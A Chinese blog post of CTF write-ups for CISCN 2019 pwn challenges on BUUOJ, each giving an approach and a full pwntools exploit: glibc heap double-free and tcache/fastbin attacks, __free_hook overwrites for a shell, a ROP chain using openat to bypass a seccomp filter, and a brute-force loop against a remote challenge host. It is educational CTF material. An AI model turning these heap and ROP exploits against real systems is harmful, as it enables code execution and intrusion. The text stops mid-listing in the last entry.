BUUOJ 刷题记录 -- CISCN

pwnable.tw做不动了,发现BUUOJ上的题目挺多的,加上想刷一刷2019国赛的题目,这两天断断续续地做了几道题目,简单记录一下。

更新:10道刷完,有些题目还是挺有意思的。

ciscn_final_1

前言

binary内部实现了一个虚拟机,有自己的指令集,其实逻辑搞清楚了问题不大(虽然我看了蛮久),主要是写脚本的时候要花点时间。(本地给的glibc2.23的环境,打通了;但是远程给的glibc2.27,在调试的时候发现mmap没有触发,也就是说分配出来的内存空间没有紧挨着libc,结果没法打通。讲道理不应该啊,两个版本的libc这里的逻辑不是一样吗,阈值应该都是128k啊。)

思路

  1. 16 bits的机器码,大端数据,高4 bits是opcode,后面要么是寄存器的index,要么是立即数,要么是标志位。若高4 bits是0xF,根据低8 bits的值,对应了一些输出,停机,退出指令。(binary的database不小心删了,就不贴反汇编的代码了)
  2. 关键在于利用其中的opcode==6opcode==7的两条指令,分别是对应访问内存以及写入内存,且地址是32 bits,说明可以相对内存溢出。
  3. 由于内存是分配在堆上的,而且申请的size==0x1FFFE,是会通过mmap申请的,而且位置正好紧挨着libc且位于上方。所以通过上述的根据偏移访问内存和读写内存可以操作到libc的位置上。
  4. 所以根据以上,可以通过溢出,根据偏移读写libc。
  5. 首先读出_IO_list_all位置存的_IO_2_1_stderr_的地址,从而leak libc。
  6. 再向__free_hooksystem
  7. 最后在输入指令的时候,在内存开头写入”/bin/sh”,并且在虚拟机开始执行的地址处(偏移为0x6000=0x3000 *sizeof(_WORD))写入exit指令触发free内存的操作,从而getshell。
  8. 以上步骤可以通过halt分隔,因为halt可以重新接受输入指令再次执行。
  9. exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    context.log_level = 'debug'

    def addi(reg_dst, reg_src, imm):
    assert(imm <= 0xF)
    binary_str = "0001"
    binary_str += bin(reg_dst)[2:].rjust(3, "0")
    binary_str += bin(reg_src)[2:].rjust(3, "0")
    binary_str += "1"
    binary_str += bin(imm)[2:].rjust(5, "0")
    val = int(binary_str, 2)
    return big_endian(val)

    def read_code(reg_dst, reg_src_1, reg_src_2):
    binary_str = "0110"
    binary_str += bin(reg_dst)[2:].rjust(3, "0")
    binary_str += bin(reg_src_1)[2:].rjust(3, "0")
    binary_str += bin(reg_src_2)[2:].rjust(3, "0")
    binary_str += "000"
    val = int(binary_str, 2)
    return big_endian(val)

    def write_code(reg_dst, reg_src_1, reg_src_2):
    binary_str = "0111"
    binary_str += bin(reg_dst)[2:].rjust(3, "0")
    binary_str += bin(reg_src_1)[2:].rjust(3, "0")
    binary_str += bin(reg_src_2)[2:].rjust(3, "0")
    binary_str += "000"
    val = int(binary_str, 2)
    return big_endian(val)

    def read(reg_dst, imm):
    assert(imm <= 0xFF)
    binary_str = "0010"
    binary_str += bin(reg_dst)[2:].rjust(3, "0")
    binary_str += bin(imm)[2:].rjust(9, "0")
    val = int(binary_str, 2)
    return big_endian(val)

    def write(reg_src, imm):
    assert(imm <= 0xFF)
    binary_str = "0011"
    binary_str += bin(reg_src)[2:].rjust(3, "0")
    binary_str += bin(imm)[2:].rjust(9, "0")
    val = int(binary_str, 2)
    return big_endian(val)

    def print_reg0():
    val = 0xF021
    return big_endian(val)

    def halt():
    val = 0xF025
    return big_endian(val)

    def big_endian(val):
    return chr(val >> 8) + chr(val & 0xFF)

    def leak_stderr():
    offset = (_IO_list_all_offset + 0x22000 - 8) / 2

    payload = '\x30\x00' # $pc start
    p.sendafter("Input: ", payload)

    payload = read(1, 7) # $r1 = code[$pc + 7] = code[0x3008]
    payload += read(2, 7) # $r2 = code[$pc + 7] = code[0x3009]
    payload += read_code(0, 1, 2) # $r0 = code[($r1 << 8) + $r2]
    payload += print_reg0() # print $r0
    payload += addi(2, 2, 1) # $r2 = $r2 + 1
    payload += read_code(0, 1, 2) # $r0 = code[($r1 << 8) + $r2]
    payload += print_reg0() # print $r0
    payload += halt() # halt
    payload += big_endian(offset >> 16)
    payload += big_endian(offset & 0xFFFF)
    p.send(payload)

    return u32(p.recv(4))

    def write_free_hook():
    offset = (__free_hook_offset + 0x22000 - 8) / 2

    payload = '\x30\x00' # $pc start
    p.sendafter("Input: ", payload)

    payload = read(1, 7) # $r1 = code[$pc + 7] = code[0x3008]
    payload += read(2, 7) # $r2 = code[$pc + 7] = code[0x3009]
    payload += read(3, 7) # $r3 = code[$pc + 7] = code[0x300A]
    payload += write_code(3, 1, 2) # code[($r1 << 8) + $r2] = $r3
    payload += addi(2, 2, 1) # $r2 = $r2 + 1
    payload += read(3, 5) # $r3 = code[$pc + 7] = code[0x300B]
    payload += write_code(3, 1, 2) # code[($r1 << 8) + $r2] = $r3
    payload += halt() # halt
    payload += big_endian(offset >> 16)
    payload += big_endian(offset & 0xFFFF)
    payload += big_endian(libc_system & 0xFFFF)
    payload += big_endian(libc_system >> 16)
    p.send(payload)

    def quit():
    val = 0xF026
    return big_endian(val)

    def getshell():
    payload = '\x00\x00'
    p.sendafter("Input: ", payload)

    payload = big_endian(u16("/b"))
    payload += big_endian(u16("in"))
    payload += big_endian(u16("/s"))
    payload += big_endian(u16("h\x00"))
    payload = payload.ljust(0x6000, 'A')
    payload += quit()
    p.send(payload)

    _IO_list_all_offset = libc.sym["_IO_list_all"]
    stderr_offset = libc.sym["_IO_2_1_stderr_"]
    system_offset = libc.symbols["system"]
    __free_hook_offset = libc.symbols["__free_hook"]
    # realloc_offset = libc.symbols["realloc"]

    # leak libc
    libc_stderr = leak_stderr()
    libc_base = libc_stderr - stderr_offset
    libc_system = libc_base + system_offset

    # write __free_hook
    write_free_hook()

    # trigger __free_hook
    getshell()

    success("libc_base: " + hex(libc_base))
    success("libc_system: " + hex(libc_system))

    p.interactive()

ciscn_final_2

前言

本地调试的时候因为创建的flag文件是空的,啥也没打印出来,结果以为没成功,愣是浪费时间,有点蠢。

思路

  1. execve被禁了,但是flag打开了而且文件描述符改为666。
  2. 很明显的tcache double free,开始以为后面要rop,因为exit里面接受了99个字符的输入,感觉可以写rop chain然后跳过来;后来发现每次写要么只能写2 bytes,要么4 bytes,而地址至少6 bytes,显然行不通。
  3. 改变思路,把stdin->_fileno改为666,让它在scanf的时候自己读flag自己打印出来就行了。
  4. 由于直接读写都只能是2或者4 bytes,所以还要考虑一下堆布局,分配stdin的chunk空间还是要通过partial write unsorted bin->bk,至于unsorted bin需要伪造size得到,细节就不赘述了。
  5. 改完stdin->_fileno退出就能打印出flag了。(有个不明白的地方,开始还担心改完了stdin->_fileno之后,标准输入流就失效了,那怎么选择退出功能?结果read还是照样可以输入,但是scanf却是直接从flag里面读的,什么原因?)
  6. 还有一个点是,由于double free利用一般是free两次然后malloc三次,所以这里如果一开始tcache bin是空的也就是count==0,那么利用完了之后count==0xFFFF从而被误认为已经满了,所以后续如果free这个size的chunk,是不会放到tcache bin里面的,所以要先free几个块填个位置,防止count==0xFFFF

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
context.log_level = "debug"

def new(type, inode):
p.sendlineafter("which command?\n> ", "1")
p.sendlineafter("TYPE:\n1: int\n2: short int\n>", str(type))
p.sendlineafter("your inode number:", str(inode))

def delete(type):
p.sendlineafter("which command?\n> ", "2")
p.sendlineafter("TYPE:\n1: int\n2: short int\n>", str(type))

def show(type):
p.sendlineafter("which command?\n> ", "3")
p.sendlineafter("TYPE:\n1: int\n2: short int\n>", str(type))
p.recvuntil("your int type inode number :")

def quit():
p.sendlineafter("which command?\n> ", "4")

main_arena_offset = 0x3ebc40
stdin_offset = libc.sym["_IO_2_1_stdin_"]

# double free
new(1, 0)
delete(1)
new(2, 0)
delete(1)

# leak heap
show(1)
heap_addr_low = int(p.recvline()[:-1])
if heap_addr_low < 0:
heap_addr_low += 0x100000000

# enough space
new(2, 0x501)
for i in range(39):
new(2, 0)
new(2, 0x21)
new(2, 0x21)

# unsorted bin
new(1, heap_addr_low + 0x60)
new(1, 0)
new(1, 0)
delete(1)

# leak libc
show(1)
main_arena_low = int(p.recvline()[:-1])
if main_arena_low < 0:
main_arena_low += 0x100000000
libc_base_low = main_arena_low - 0x60 - main_arena_offset
libc_stdin_low = libc_base_low + stdin_offset

# chunk overlap
new(1, 0)
delete(2)
new(1, 0)
delete(2)
new(1, 0)
delete(2) # avoid fastbin
new(1, 0)
delete(2)
new(2, heap_addr_low + 0x150)
new(2, 0)
new(2, 0)
delete(2)

# partial write
new(1, 0)
new(1, (libc_stdin_low + 112) & 0xFFFFFFFF)
new(2, 0)
new(2, 666)

# exit
quit()

success("heap_addr_low: " + hex(heap_addr_low))
success("libc_base_low: " + hex(libc_base_low))
success("libc_stdin_low: " + hex(libc_stdin_low))

p.interactive()

ciscn_final_3

前言

题目逻辑简单,但是我还是要花一定时间做堆的布局,还是没有特别熟练,还得练。

思路

  1. 明显的free之后指针没有清空,造成可以double free。
  2. 因为没有传统的那种show功能,因为要爆破写stdout,后面发现每次new一个chunk都会输出chunk的地址,那就好办了。
  3. 这里因为size限制最大为0x78,没办法直接得到unsorted bin,所以还要通过chunk overlap来改size,创造出unsorted bin来。
  4. 后面主要就是让tcache bin和unsorted bin重叠,然后就能通过tcache bin分配到main_arena+0x60的chunk,从而通过打印的chunk地址,leak libc。
  5. 最后继续利用double free改__free_hooksystem来getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
context.log_level = "debug"

def new(index, size, content):
p.sendlineafter("choice > ", "1")
p.sendlineafter("input the index", str(index))
p.sendlineafter("input the size", str(size))
p.sendafter("now you can write something", content)
p.recvuntil("gift :0x")

def delete(index):
p.sendlineafter("choice > ", "2")
p.sendlineafter("input the index", str(index))

main_arena_offset = 0x3ebc40
system_offset = libc.symbols["system"]
__free_hook_offset = libc.symbols["__free_hook"]

# double free
new(0, 0x18, 'AAAA')
delete(0)
delete(0)

# overwrite size
new(1, 0x28, 'BBBB')
new(2, 0x18, '\x80')
new(3, 0x18, 'AAAA')
new(4, 0x18, p64(0) + p64(0x501))

# enough space
new(5, 0x48, "CCCC")
for i in range(9):
new(i + 6, 0x78, 'CCCC')
delete(7) # avoid fastbin
delete(6)
new(15, 0x28, "CCCC")

# unsorted bin
delete(1)

# chunk overlap
new(16, 0x38, "AAAA")
new(17, 0x38, "BBBB")

# leak libc
# don't break the unsorted bin
new(18, 0x78, '\xa0')
new(19, 0x78, "\x00")
main_arena = int(p.recv(12), 16)
libc_base = main_arena - 0x60 - main_arena_offset
__free_hook = libc_base + __free_hook_offset
libc_system = libc_base + system_offset

# write __free_hook
delete(7)
delete(7)
new(20, 0x78, p64(__free_hook))
new(21, 0x78, "/bin/sh\x00")
new(22, 0x78, p64(libc_system))

# trigger __free_hook
delete(21)

success("libc_base: " + hex(libc_base))
success("__free_hook: " + hex(__free_hook))
success("libc_system: " + hex(libc_system))

p.interactive()

ciscn_final_4

前言

关键就在于这个open被禁用,可以用openat代替。

思路

  1. seccomp-tools dump ciscn_final_4,禁用了execve,显然要orw了。
  2. binary中的watch函数同时也检测了几个系统调用,也就是不能用:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    void __fastcall __noreturn watch(unsigned int a1)
    {
    int stat_loc; // [rsp+34h] [rbp-ECh]
    __int64 v2; // [rsp+38h] [rbp-E8h]
    char v3; // [rsp+40h] [rbp-E0h]
    __int64 v4; // [rsp+B8h] [rbp-68h]
    unsigned __int64 v5; // [rsp+118h] [rbp-8h]

    v5 = __readfsqword(0x28u);
    wait(0LL);
    while ( 1 )
    {
    ptrace(PTRACE_SYSCALL, a1, 0LL, 0LL);
    waitpid(a1, &stat_loc, 0);
    if ( !(stat_loc & 0x7F) || (char)((stat_loc & 0x7F) + 1) >> 1 > 0 || (stat_loc & 0xFF00) >> 8 != 5 )
    break;
    ptrace(PTRACE_GETREGS, a1, 0LL, &v3);
    v2 = v4;
    if ( v4 == 2 || v2 == 9 || v2 == 57 || v2 == 58 || v2 == 101 )
    {
    puts("hey! what are you doing?");
    exit(-1);
    }
    }
    exit(-1);
    }
    禁用了open(2),mmap(9),fork(57),vfork(58),ptrace(101)系统调用。
  3. patch掉ptrace(TRACEME, xxx, xxx),方便调试fork出来的子进程。
  4. 明显的fastbin double free,利用unsorted bin来leak出libc地址,之后利用fastbin attack分配到__malloc_hook
  5. __malloc_hook布置如下的gadget,目的是将栈下压0x38字节,此时rsp正好只想binary开始我们输入name的位置,因此是可控的,可以提前布置rop chain。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    .text:0000000000401186 loc_401186:                             ; CODE XREF: __libc_csu_init+34↑j
    .text:0000000000401186 add rsp, 8
    .text:000000000040118A pop rbx
    .text:000000000040118B pop rbp
    .text:000000000040118C pop r12
    .text:000000000040118E pop r13
    .text:0000000000401190 pop r14
    .text:0000000000401192 pop r15
    .text:0000000000401194 retn
  6. 在binary最开始输入name时布置gadget,完成向bss中写入第二段rop chain,同时将栈迁移到该bss上。
  7. 由于open的禁用,故不可用来打开flag文件。因此这里可以使用openat函数,因为open的内部实际上也是通过openat函数实现打开文件的功能的,因此单独调用openat可以绕过open的限制,也能打开文件。
  8. 接下来就是orw拿flag了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
context.log_level = "debug"

def new(size, content):
p.sendlineafter(">> ", "1")
p.sendlineafter("size?", str(size))
p.sendafter("content?", content)

def delete(index):
p.sendlineafter(">> ", "2")
p.sendlineafter("index ?", str(index))

def show(index):
p.sendlineafter(">> ", "3")
p.sendlineafter("index ?", str(index))
p.recvline()
return p.recvline()

main_arena_offset = 0x3c4b20
__malloc_hook_offset = libc.symbols["__malloc_hook"]
openat_offset = libc.sym["openat"]
read_offset = libc.sym["read"]
write_offset = libc.sym["write"]
# realloc_offset = libc.symbols["realloc"]
# one_gadget_offset = 0xf02a4
pop_7regs = 0x401186 # add rsp, 8; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
pop_rdi = 0x0000000000401193 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000401191 # pop rsi ; pop r15 ; ret
pop_rsp_r13_r14_r15 = 0x000000000040118d # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
pop_rdx_offset = 0x0000000000001b92 # pop rdx ; ret (in libc)
read_plt = elf.plt["read"]
bss = elf.bss(0x600)

# rop chain
payload = flat([pop_rdi, 0])
payload += flat([pop_rsi_r15, bss, 0])
payload += flat([read_plt])
payload += flat([pop_rsp_r13_r14_r15, bss])
p.sendafter("what is your name? ", payload)

# unsorted bin
new(0x500, "AAAA")
new(0x28, "AAAA")

# fastbin double free
new(0x68, "BBBB")
new(0x68, "CCCC")
delete(2)
delete(3)
delete(2)

# leak libc
delete(0)
addr = show(0)[:-1]
main_arena = u64(addr.ljust(8, "\x00"))
libc_base = main_arena - 0x58 - main_arena_offset
__malloc_hook = libc_base + __malloc_hook_offset
# one_gadget = libc_base + one_gadget_offset
pop_rdx = libc_base + pop_rdx_offset
libc_openat = libc_base + openat_offset
libc_read = libc_base + read_offset
libc_write = libc_base + write_offset

# write __malloc_hook
new(0x68, p64(__malloc_hook - 0x23))
new(0x68, "DDDD")
new(0x68, "EEEE")
new(0x68, "A" * 0x13 + p64(pop_7regs))

# trigger __malloc_hook
p.sendlineafter(">> ", "1")
p.sendlineafter("size?", str(0x10))

# set gadgets on bss (using orw)
payload = flat([0, 0, 0])
payload += flat([pop_rdi, 0])
payload += flat([pop_rsi_r15, bss + 0x100, 0])
payload += flat([pop_rdx, 0])
payload += flat([libc_openat]) # open "/flag"
payload += flat([pop_rdi, 3])
payload += flat([pop_rsi_r15, bss + 0x110, 0])
payload += flat([pop_rdx, 0x40])
payload += flat([libc_read]) # read flag
payload += flat([pop_rdi, 1])
payload += flat([pop_rsi_r15, bss + 0x110, 0])
payload += flat([pop_rdx, 0x40])
payload += flat([libc_write]) # print flag
payload = payload.ljust(0x100, "\x00")
payload += "/flag\x00"
p.send(payload)

success("main_arena: " + hex(main_arena))
success("libc_base: " + hex(libc_base))
success("__malloc_hook: " + hex(__malloc_hook))
success("pop_rdx: " + hex(pop_rdx))
success("libc_write: " + hex(libc_write))
success("libc_read: " + hex(libc_read))
success("libc_openat: " + hex(libc_openat))

p.interactive()

ciscn_final_5

前言

经典没有show的题目,bruteforce 4 bits,partial write unsorted bin->bk为stdout的做法,主要是堆布局需要点时间,写起来有点pwnable.tw上realloc的感觉了,不过显然更简单。

思路

  1. 利用题目储存chunk地址以及index的逻辑是两者异或之后再存入chunk_array中空闲的地方,若index == 0x10 && chunk_addr & 0x10 == 0,那么就可以在edit的时候,实际写的地址要向后移0x10 bytes,从而可以溢出到下一个chunk的fd的部分。
  2. 利用这个溢出,改掉下一个chunk的size,造成更大的chunk overlap,使得一个chunk同时存在tcache bin和unsorted bin中(间接链入unsorted bin)。
    1
    2
    3
    4
    5
    6
    7
    8
    unsorted bin --> +--------+
    | |
    | |
    | |
    | |
    +--------+ +--------+ <-- tcache bin
    | | ==> victim_chunk <== | |
    +--------+ +--------+
  3. 由于在切割unsorted bin,使得victim_chunk的fd,bk被置入main_arena+0x58之后,需要进行partial write,故这里仍要需要利用index == 0x10 && chunk_addr & 0x10 == 0的方法进行0x10 bytes overflow,从从而可以覆盖到victim_chunk->fd
  4. 分配到stdout的chunk之后,写入p64(0xfbad1800) + p64(0) * 3 + "\x00"就可以leak libc了。
  5. 之后继续利用0x10 bytes overflow,分配__free_hook的chunk,写入system,再free一个”/bin/sh”的chunk,就可以getshell了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
def new(index, size, content):
p.sendlineafter("your choice: ", "1")
p.sendlineafter("index: ", str(index))
p.sendlineafter("size: ", str(size))
p.sendafter("content: ", content)

def delete(index):
p.sendlineafter("your choice: ", "2")
p.sendlineafter("index: ", str(index))

def edit(index, content):
p.sendlineafter("your choice: ", "3")
p.sendlineafter("index: ", str(index))
p.sendafter("content: ", content)

# context.log_level = "debug"

offset = 0x3eb780
system_offset = libc.symbols["system"]
__free_hook_offset = libc.symbols["__free_hook"]

# bruteforce 4 bits
while True:
try:
# prepare two useful chunks
new(10, 0x58, "nop")
new(11, 0x58, "nop")

# first chunk (overlap)
new(16, 0x18, p64(0) + p64(0x21))

# create overlap
new(2, 0x3F8, "BBBB")
new(3, 0xF8, "CCCC")
delete(3)
new(4, 0x18, "DDDD") # avoid merging to top chunk
edit(0, "A" * 0x8 + p64(0x501))

# free the chunk with index 16
delete(0)

# unsorted bin
delete(2)

# malloc from unsorted bin (overlap)
new(16, 0x3F8, p64(0) + p64(0x21))

# partial write unsorted bin->bk ==> stdout
edit(0, p64(0) + p64(0x21) + "A" * 0x3D8 + p64(0x101) + p16(0x5760))

# malloc chunk at stdout
new(5, 0xF8, "DDDD")
new(6, 0xF8, p64(0xfbad1800) + p64(0) * 3 + "\x00")

if p.recv(3) == "low":
p.close()
if _pwn_remote == 1:
p = remote('node3.buuoj.cn', 26969)
else:
p = process(argv=[_proc], env=_setup_env())
if _debug == 1:
gdb.attach(p, gdbscript=_source)
continue

p.recv(0x20 - 3)
libc_addr = u64(p.recv(8))
libc_base = libc_addr - offset
__free_hook = libc_base + __free_hook_offset
libc_system = libc_base + system_offset

break

except:
p.close()
if _pwn_remote == 1:
p = remote('node3.buuoj.cn', 26969)
else:
p = process(argv=[_proc], env=_setup_env())
if _debug == 1:
gdb.attach(p, gdbscript=_source)

# unsorted bin is broken
delete(0)
delete(11)
delete(10)

# write __free_hook
new(16, 0x58, "HHHH")
edit(0, "A" * 0x48 + p64(0x61) + p64(__free_hook))
new(12, 0x58, "/bin/sh\x00")
new(13, 0x58, p64(libc_system))

# trigger __free_hook
delete(12)

success("libc_base: " + hex(libc_base))
success("__free_hook: " + hex(__free_hook))
success("libc_system: " + hex(libc_system))
# success(": " + hex())

p.interactive()

ciscn_final_6

前言

有点坑,题目给的libc是2.23,搞得我直接用2.23写了fastbin attack,然后打远程发现有tcache,才发现题目上写Ubuntu 18的环境。题目本身还是很简单的。

思路

  1. 解迷宫,拿到malloc的地址,从而得到libc地址。
  2. new game会创造一个新的player信息,先进行store game,然后delete record将当前的player删除,此时再依次load gamedelete record,将被delete掉的player进行二次删除,构成tcache double free。
  3. malloc位于__free_hook的chunk,写为system,然后free一个”/bin/sh”的chunk,getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
context.log_level = 'debug'

def resume(count, ops):
p.sendlineafter("> ", "0")
p.sendlineafter("input you ops count", str(count))
if count != 0:
p.sendafter("ops: ", ops)

def new(name, count, ops):
p.sendlineafter("> ", "1")
p.sendlineafter("what's your name?", name)
p.sendlineafter("input you ops count", str(count))
if count != 0:
p.sendafter("ops: ", ops)

def load(index, count, ops):
p.sendlineafter("> ", "2")
p.sendlineafter("index?", str(index))
p.sendlineafter("input you ops count", str(count))
if count != 0:
p.sendafter("ops: ", ops)

def store(flag, size, comment):
p.sendlineafter("> ", "3")
if flag == True:
p.sendafter("any comment?", 'y')
p.sendlineafter("comment size?", str(size))
p.sendafter("plz input comment", comment)
else:
p.sendafter("any comment?", 'n')

def delete(index):
p.sendlineafter("> ", "4")
p.sendlineafter("index?", str(index))

def show_user():
p.sendlineafter("> ", "5")

def quit():
p.sendlineafter("> ", "6")

def solve(maze, start, end, sol):
# arrive at end
if start == end:
return 1

# move right if possible
if start[1] + 1 <= 41 and maze[start[0]][start[1] + 1] != 'x':
maze[start[0]][start[1]] = 'x'
if solve(maze, (start[0], start[1] + 1), end, sol):
sol.append('D')
return 1
else:
maze[start[0]][start[1]] = ' '

# move down
if start[0] + 1 <= 41 and maze[start[0] + 1][start[1]] != 'x':
maze[start[0]][start[1]] = 'x'
if solve(maze, (start[0] + 1, start[1]), end, sol):
sol.append('S')
return 1
else:
maze[start[0]][start[1]] = ' '

# move left
if start[1] - 1 <= 41 and maze[start[0]][start[1] - 1] != 'x':
maze[start[0]][start[1]] = 'x'
if solve(maze, (start[0], start[1] - 1), end, sol):
sol.append('A')
return 1
else:
maze[start[0]][start[1]] = ' '

# move up
if start[0] - 1 <= 41 and maze[start[0] - 1][start[1]] != 'x':
maze[start[0]][start[1]] = 'x'
if solve(maze, (start[0] - 1, start[1]), end, sol):
sol.append('W')
return 1
else:
maze[start[0]][start[1]] = ' '

return 0

def solve_maze():
p.sendlineafter("> ", "9")
maze = p.recvuntil("x" * 42)
maze += p.recvuntil("x" * 42 + ' ')

maze = maze.split('\n')
maze = [list(item[1:-1]) for item in maze][2:]

for item in maze:
print(''.join(item))

# from maze[1][0] ==> maze[40, 41]
sol = []
solve(maze, (1, 0), (40, 41), sol)

return ''.join(sol[::-1])

malloc_offset = libc.sym["malloc"]
__malloc_hook_offset = libc.symbols["__malloc_hook"]
__free_hook_offset = libc.sym["__free_hook"]
system_offset = libc.sym["system"]
str_bin_sh_offset = libc.search("/bin/sh").next()
# one_gadget_offset = 0xf1147
one_gadget_offset = 0xf02a4
# one_gadget_offset = 0x4f322

# get malloc address
res = solve_maze()
new("0", len(res) + 1, res)
p.recvuntil("Here's the award:0x")
libc_malloc = int(p.recv(12), 16)
libc_base = libc_malloc - malloc_offset
__malloc_hook = libc_base + __malloc_hook_offset
one_gadget = libc_base + one_gadget_offset
__free_hook = libc_base + __free_hook_offset
libc_system = libc_base + system_offset
str_bin_sh = libc_base + str_bin_sh_offset

# prepare a tcache bin for operation "new"
# since there is also double free in tcache bin 0x30 and 0x20
store(False, 0, "")

# # fastbin double free
# new("1", 0, "")
# store(True, 0x68, "\n")
# new("2", 0, "")
# store(True, 0x68, "\n")
# load(1, 0, "")
# delete(1)
# delete(2)
# store(False, 0, "")
# delete(1)

# tcache double free
new("1", 0, "")
store(True, 0x68, "\n")
load(1, 0, "")
delete(1)
store(False, 0, "")
delete(1)

# prepare a tcache bin for operation "new"
delete(0)

# # write __malloc_hook (for fastbin double free)
# new("3", 0, "")
# store(True, 0x68, p64(__malloc_hook - 0x23) + "\n")
# new("4", 0, "")
# store(True, 0x68, "\n")
# new("5", 0, "")
# store(True, 0x68, "\n")
# new("6", 0, "")
# store(True, 0x68, "A" * 0x13 + p64(one_gadget) + '\n')

# write __free_hook
new("3", 0, "")
store(True, 0x68, p64(__free_hook) + '\n')
new("5", 0, "")
store(True, 0x68, "/bin/sh\x00\n")
new("6", 0, "")
store(True, 0x68, p64(libc_system) + '\n')

# __free_hook
delete(0)

success("libc_base: " + hex(libc_base))
success("libc_system: " + hex(libc_system))
success("__free_hook: " + hex(__free_hook))
success("str_bin_sh: " + hex(str_bin_sh))

p.interactive()

ciscn_final_7

前言

强迫症驱使我把这个ciscn_final_7没做的空白填满,结果硬是断断续续地写了我两天,完了作业写不完了。pwn使我失去理智。

思路

  1. 拖到IDA一看,父进程fork一个子进程,通过ptrace对子进程进行控制,代码的主要逻辑都在子进程中。同时因为子进程被父进程ptrace了,所以应该是不可能直接调试子进程了。
  2. 学一波ptrace的用法,大概了解之后,看一下父进程是怎么控制子进程的:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    unsigned __int64 __fastcall sub_401582(unsigned int a1)
    {
    __WAIT_STATUS stat_loc; // [rsp+18h] [rbp-2A8h]
    int v3; // [rsp+20h] [rbp-2A0h]
    int v4; // [rsp+24h] [rbp-29Ch]
    int i; // [rsp+28h] [rbp-298h]
    int v6; // [rsp+2Ch] [rbp-294h]
    int v7; // [rsp+30h] [rbp-290h]
    int v8; // [rsp+34h] [rbp-28Ch]
    __int64 v9; // [rsp+38h] [rbp-288h]
    char v10; // [rsp+40h] [rbp-280h]
    __int64 v11; // [rsp+C0h] [rbp-200h]
    __int64 v12; // [rsp+D8h] [rbp-1E8h]
    __int64 v13[51]; // [rsp+120h] [rbp-1A0h]
    unsigned __int64 v14; // [rsp+2B8h] [rbp-8h]

    v14 = __readfsqword(0x28u);
    v6 = 0;
    HIDWORD(stat_loc.__iptr) = 0;
    qword_604948 = (__int64)qword_604960;
    wait((__WAIT_STATUS)&stat_loc);
    while ( LOBYTE(stat_loc.__uptr) == 127 )
    {
    ptrace(PTRACE_GETREGS, a1, 0LL, &v10);
    v7 = ptrace(PTRACE_PEEKTEXT, a1, v11, 0LL);
    v9 = (unsigned __int8)ptrace(PTRACE_PEEKDATA, a1, v11 - 1, 0LL);
    if ( v9 != 0xCC )
    {
    ptrace(PTRACE_KILL, a1, 0LL, 0LL);
    exit(0);
    }
    v3 = 1;
    if ( *(_QWORD *)(qword_604948 + 16) )
    {
    v8 = (*(__int64 (__fastcall **)(char *))(qword_604948 + 16))(&v10);
    if ( v8 == 1 )
    {
    qword_604948 = *(_QWORD *)(qword_604948 + 8);
    }
    else if ( v8 )
    {
